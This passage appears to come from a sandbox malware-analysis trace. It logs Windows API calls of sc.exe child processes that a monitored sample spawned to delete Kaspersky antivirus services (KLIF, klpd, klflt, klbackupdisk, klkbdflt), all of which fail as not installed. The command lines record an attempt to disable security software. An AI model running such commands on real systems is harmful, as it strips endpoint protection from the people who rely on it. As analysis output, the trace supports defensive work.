[0067.270] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0067.270] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0067.271] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0067.271] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0067.271] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0067.271] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0067.271] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0067.271] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0067.271] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0067.271] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0067.271] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0067.271] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0067.271] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0067.271] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0067.271] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x304360 [0067.276] OpenServiceW (hSCManager=0x304360, lpServiceName="KLIF", dwDesiredAccess=0x10000) returned 0x0 [0067.276] GetLastError () returned 0x424 [0067.277] _itow (in: _Dest=0x424, _Radix=2291352 | out: _Dest=0x424) returned="1060" [0067.277] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff20b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0067.279] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x22f650, nSize=0x2, Arguments=0x22f680 | out: lpBuffer="趰0") returned 0x62 [0067.279] GetFileType (hFile=0x120) returned 0x3 [0067.279] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x308e90 [0067.279] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x308e90, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n0", lpUsedDefaultChar=0x0) returned 98 [0067.280] WriteFile (in: hFile=0x120, lpBuffer=0x308e90*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x22f5f8, lpOverlapped=0x0 | out: lpBuffer=0x308e90*, lpNumberOfBytesWritten=0x22f5f8*=0x62, lpOverlapped=0x0) returned 1 [0067.280] LocalFree (hMem=0x308e90) returned 0x0 [0067.280] LocalFree (hMem=0x308db0) returned 0x0 [0067.280] LocalFree (hMem=0x0) returned 0x0 [0067.280] CloseServiceHandle (hSCObject=0x304360) returned 1 [0067.282] exit (_Code=1060) Thread: id = 89 os_tid = 0x8c8 Process: id = "45" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3798d000" os_pid = "0x908" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete klpd" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 90 os_tid = 0x928 [0067.366] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1cfb50 | out: lpSystemTimeAsFileTime=0x1cfb50*(dwLowDateTime=0xea8efbd0, dwHighDateTime=0x1d62701)) [0067.366] GetCurrentProcessId () returned 0x908 [0067.366] GetCurrentThreadId () returned 0x928 [0067.366] GetTickCount () returned 0x1147da9 [0067.366] QueryPerformanceCounter (in: lpPerformanceCount=0x1cfb58 | out: lpPerformanceCount=0x1cfb58*=18756795762) returned 1 [0067.371] GetModuleHandleW (lpModuleName=0x0) returned 0xffe30000 [0067.371] __set_app_type (_Type=0x1) [0067.371] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffe37228) returned 0x0 [0067.371] __wgetmainargs (in: _Argc=0xffe3b604, _Argv=0xffe3b610, _Env=0xffe3b608, _DoWildCard=0, _StartInfo=0xffe3b050 | out: _Argc=0xffe3b604, _Argv=0xffe3b610, _Env=0xffe3b608) returned 0 [0067.372] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0067.387] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0067.387] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0067.387] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0067.387] _wcsicmp (_String1="delete", _String2="query") returned -13 [0067.387] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0067.387] _wcsicmp (_String1="delete", _String2="start") returned -15 [0067.387] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0067.387] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0067.387] _wcsicmp (_String1="delete", _String2="control") returned 1 [0067.387] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0067.388] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0067.388] _wcsicmp (_String1="delete", _String2="config") returned 1 [0067.388] _wcsicmp (_String1="delete", _String2="description") returned -7 [0067.388] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0067.388] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0067.388] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0067.388] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0067.388] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0067.388] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0067.388] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0067.388] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0067.388] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0067.388] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0067.388] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0067.388] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0067.388] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0067.388] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0067.388] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0067.388] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0067.388] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0067.388] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0067.388] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x234360 [0067.391] OpenServiceW (hSCManager=0x234360, lpServiceName="klpd", dwDesiredAccess=0x10000) returned 0x0 [0067.392] GetLastError () returned 0x424 [0067.392] _itow (in: _Dest=0x424, _Radix=1898936 | out: _Dest=0x424) returned="1060" [0067.392] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffe3b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0067.393] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x1cf970, nSize=0x2, Arguments=0x1cf9a0 | out: lpBuffer="趰#") returned 0x62 [0067.394] GetFileType (hFile=0x120) returned 0x3 [0067.394] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x238e90 [0067.394] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x238e90, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n#", lpUsedDefaultChar=0x0) returned 98 [0067.394] WriteFile (in: hFile=0x120, lpBuffer=0x238e90*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x1cf918, lpOverlapped=0x0 | out: lpBuffer=0x238e90*, lpNumberOfBytesWritten=0x1cf918*=0x62, lpOverlapped=0x0) returned 1 [0067.394] LocalFree (hMem=0x238e90) returned 0x0 [0067.394] LocalFree (hMem=0x238db0) returned 0x0 [0067.394] LocalFree (hMem=0x0) returned 0x0 [0067.394] CloseServiceHandle (hSCObject=0x234360) returned 1 [0067.397] exit (_Code=1060) Thread: id = 91 os_tid = 0x9ec Process: id = "46" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x38492000" os_pid = "0xa0c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete klflt" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 92 os_tid = 0xa1c [0067.565] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12fc50 | out: lpSystemTimeAsFileTime=0x12fc50*(dwLowDateTime=0xeab04f10, dwHighDateTime=0x1d62701)) [0067.565] GetCurrentProcessId () returned 0xa0c [0067.566] GetCurrentThreadId () returned 0xa1c [0067.566] GetTickCount () returned 0x1147e73 [0067.566] QueryPerformanceCounter (in: lpPerformanceCount=0x12fc58 | out: lpPerformanceCount=0x12fc58*=18776416210) returned 1 [0067.567] GetModuleHandleW (lpModuleName=0x0) returned 0xff720000 [0067.569] __set_app_type (_Type=0x1) [0067.569] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff727228) returned 0x0 [0067.571] __wgetmainargs (in: _Argc=0xff72b604, _Argv=0xff72b610, _Env=0xff72b608, _DoWildCard=0, _StartInfo=0xff72b050 | out: _Argc=0xff72b604, _Argv=0xff72b610, _Env=0xff72b608) returned 0 [0067.574] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0067.582] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0067.582] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0067.582] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0067.582] _wcsicmp (_String1="delete", _String2="query") returned -13 [0067.582] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0067.582] _wcsicmp (_String1="delete", _String2="start") returned -15 [0067.582] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0067.582] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0067.583] _wcsicmp (_String1="delete", _String2="control") returned 1 [0067.583] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0067.583] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0067.583] _wcsicmp (_String1="delete", _String2="config") returned 1 [0067.583] _wcsicmp (_String1="delete", _String2="description") returned -7 [0067.583] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0067.583] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0067.583] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0067.583] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0067.583] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0067.583] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0067.583] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0067.583] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0067.583] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0067.583] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0067.583] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0067.583] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0067.583] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0067.583] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0067.583] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0067.583] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0067.583] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0067.583] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0067.583] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x334370 [0067.587] OpenServiceW (hSCManager=0x334370, lpServiceName="klflt", dwDesiredAccess=0x10000) returned 0x0 [0067.587] GetLastError () returned 0x424 [0067.588] _itow (in: _Dest=0x424, _Radix=1243832 | out: _Dest=0x424) returned="1060" [0067.588] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff72b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0067.589] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x12fa70, nSize=0x2, Arguments=0x12faa0 | out: lpBuffer="跀3") returned 0x62 [0067.590] GetFileType (hFile=0x120) returned 0x3 [0067.590] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x338ea0 [0067.590] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x338ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n3", lpUsedDefaultChar=0x0) returned 98 [0067.590] WriteFile (in: hFile=0x120, lpBuffer=0x338ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x12fa18, lpOverlapped=0x0 | out: lpBuffer=0x338ea0*, lpNumberOfBytesWritten=0x12fa18*=0x62, lpOverlapped=0x0) returned 1 [0067.590] LocalFree (hMem=0x338ea0) returned 0x0 [0067.590] LocalFree (hMem=0x338dc0) returned 0x0 [0067.590] LocalFree (hMem=0x0) returned 0x0 [0067.590] CloseServiceHandle (hSCObject=0x334370) returned 1 [0067.609] exit (_Code=1060) Thread: id = 93 os_tid = 0xaa0 Process: id = "47" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x37897000" os_pid = "0xb60" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete klbackupdisk" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 94 os_tid = 0x5f4 [0067.684] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1efa50 | out: lpSystemTimeAsFileTime=0x1efa50*(dwLowDateTime=0xeac35a10, dwHighDateTime=0x1d62701)) [0067.684] GetCurrentProcessId () returned 0xb60 [0067.684] GetCurrentThreadId () returned 0x5f4 [0067.684] GetTickCount () returned 0x1147ef0 [0067.684] QueryPerformanceCounter (in: lpPerformanceCount=0x1efa58 | out: lpPerformanceCount=0x1efa58*=18788263997) returned 1 [0067.685] GetModuleHandleW (lpModuleName=0x0) returned 0xff910000 [0067.686] __set_app_type (_Type=0x1) [0067.686] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff917228) returned 0x0 [0067.686] __wgetmainargs (in: _Argc=0xff91b604, _Argv=0xff91b610, _Env=0xff91b608, _DoWildCard=0, _StartInfo=0xff91b050 | out: _Argc=0xff91b604, _Argv=0xff91b610, _Env=0xff91b608) returned 0 [0067.687] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0067.689] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0067.689] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0067.690] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0067.690] _wcsicmp (_String1="delete", _String2="query") returned -13 [0067.690] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0067.690] _wcsicmp (_String1="delete", _String2="start") returned -15 [0067.690] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0067.690] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0067.690] _wcsicmp (_String1="delete", _String2="control") returned 1 [0067.690] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0067.690] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0067.690] _wcsicmp (_String1="delete", _String2="config") returned 1 [0067.690] _wcsicmp (_String1="delete", _String2="description") returned -7 [0067.690] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0067.690] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0067.690] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0067.690] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0067.690] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0067.690] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0067.690] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0067.690] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0067.690] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0067.690] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0067.690] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0067.690] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0067.690] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0067.690] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0067.690] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0067.690] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0067.690] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0067.691] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0067.691] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x3f4370 [0067.695] OpenServiceW (hSCManager=0x3f4370, lpServiceName="klbackupdisk", dwDesiredAccess=0x10000) returned 0x0 [0067.695] GetLastError () returned 0x424 [0067.695] _itow (in: _Dest=0x424, _Radix=2029752 | out: _Dest=0x424) returned="1060" [0067.696] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff91b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0067.698] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x1ef870, nSize=0x2, Arguments=0x1ef8a0 | out: lpBuffer="跀?") returned 0x62 [0067.698] GetFileType (hFile=0x120) returned 0x3 [0067.699] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x3f8ea0 [0067.699] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x3f8ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n?", lpUsedDefaultChar=0x0) returned 98 [0067.699] WriteFile (in: hFile=0x120, lpBuffer=0x3f8ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x3f8ea0*, lpNumberOfBytesWritten=0x1ef818*=0x62, lpOverlapped=0x0) returned 1 [0067.699] LocalFree (hMem=0x3f8ea0) returned 0x0 [0067.699] LocalFree (hMem=0x3f8dc0) returned 0x0 [0067.699] LocalFree (hMem=0x0) returned 0x0 [0067.699] CloseServiceHandle (hSCObject=0x3f4370) returned 1 [0067.701] exit (_Code=1060) Thread: id = 95 os_tid = 0x5e4 Process: id = "48" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x37b9c000" os_pid = "0xb5c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete klbackupflt" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 96 os_tid = 0xb80 [0067.756] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1af930 | out: lpSystemTimeAsFileTime=0x1af930*(dwLowDateTime=0xeaccdf90, dwHighDateTime=0x1d62701)) [0067.756] GetCurrentProcessId () returned 0xb5c [0067.756] GetCurrentThreadId () returned 0xb80 [0067.756] GetTickCount () returned 0x1147f2f [0067.756] QueryPerformanceCounter (in: lpPerformanceCount=0x1af938 | out: lpPerformanceCount=0x1af938*=18795768737) returned 1 [0067.762] GetModuleHandleW (lpModuleName=0x0) returned 0xffe50000 [0067.762] __set_app_type (_Type=0x1) [0067.762] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffe57228) returned 0x0 [0067.762] __wgetmainargs (in: _Argc=0xffe5b604, _Argv=0xffe5b610, _Env=0xffe5b608, _DoWildCard=0, _StartInfo=0xffe5b050 | out: _Argc=0xffe5b604, _Argv=0xffe5b610, _Env=0xffe5b608) returned 0 [0067.763] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0067.765] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0067.765] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0067.765] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0067.765] _wcsicmp (_String1="delete", _String2="query") returned -13 [0067.766] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0067.766] _wcsicmp (_String1="delete", _String2="start") returned -15 [0067.766] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0067.766] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0067.766] _wcsicmp (_String1="delete", _String2="control") returned 1 [0067.766] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0067.766] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0067.766] _wcsicmp (_String1="delete", _String2="config") returned 1 [0067.766] _wcsicmp (_String1="delete", _String2="description") returned -7 [0067.766] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0067.766] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0067.766] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0067.766] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0067.766] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0067.766] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0067.766] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0067.766] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0067.766] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0067.766] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0067.766] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0067.766] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0067.766] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0067.766] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0067.766] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0067.766] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0067.766] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0067.766] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0067.767] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x204370 [0067.771] OpenServiceW (hSCManager=0x204370, lpServiceName="klbackupflt", dwDesiredAccess=0x10000) returned 0x0 [0067.771] GetLastError () returned 0x424 [0067.771] _itow (in: _Dest=0x424, _Radix=1767320 | out: _Dest=0x424) returned="1060" [0067.771] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffe5b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0067.773] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x1af750, nSize=0x2, Arguments=0x1af780 | out: lpBuffer="跀 ") returned 0x62 [0067.774] GetFileType (hFile=0x120) returned 0x3 [0067.774] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x208ea0 [0067.774] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x208ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n ", lpUsedDefaultChar=0x0) returned 98 [0067.774] WriteFile (in: hFile=0x120, lpBuffer=0x208ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x1af6f8, lpOverlapped=0x0 | out: lpBuffer=0x208ea0*, lpNumberOfBytesWritten=0x1af6f8*=0x62, lpOverlapped=0x0) returned 1 [0067.774] LocalFree (hMem=0x208ea0) returned 0x0 [0067.774] LocalFree (hMem=0x208dc0) returned 0x0 [0067.774] LocalFree (hMem=0x0) returned 0x0 [0067.774] CloseServiceHandle (hSCObject=0x204370) returned 1 [0067.778] exit (_Code=1060) Thread: id = 97 os_tid = 0x34c Process: id = "49" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x38fa1000" os_pid = "0x348" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete klkbdflt" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 98 os_tid = 0xb3c [0067.829] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x22f7d0 | out: lpSystemTimeAsFileTime=0x22f7d0*(dwLowDateTime=0xead8c670, dwHighDateTime=0x1d62701)) [0067.829] GetCurrentProcessId () returned 0x348 [0067.829] GetCurrentThreadId () returned 0xb3c [0067.829] GetTickCount () returned 0x1147f7d [0067.829] QueryPerformanceCounter (in: lpPerformanceCount=0x22f7d8 | out: lpPerformanceCount=0x22f7d8*=18802731542) returned 1 [0067.830] GetModuleHandleW (lpModuleName=0x0) returned 0xffad0000 [0067.830] __set_app_type (_Type=0x1) [0067.830] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffad7228) returned 0x0 [0067.831] 